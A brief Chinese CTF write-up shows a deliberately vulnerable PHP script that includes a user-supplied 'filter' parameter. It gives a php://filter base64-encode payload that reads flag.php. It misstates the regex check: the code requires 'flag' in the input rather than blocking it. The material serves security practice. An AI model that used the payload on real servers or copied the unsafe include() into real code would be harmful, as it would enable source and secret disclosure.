<?php
//WEB手要懂得搜索
//flag in ./flag.php
if(isset($_GET['filter'])){
$file = $_GET['filter'];
if(!preg_match("/flag/i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
代码可以看出是使用preg_match函数过滤flag,可以使用php://filter来进行绕过,将要读的文件进行base64加密。
playload:/?filter=php://filter/read=convert.base64-encode/resource=flag.php
获得一串编码后的数据,放进解码工具里面(我这里用的是bp的解码工具)
成功拿到flag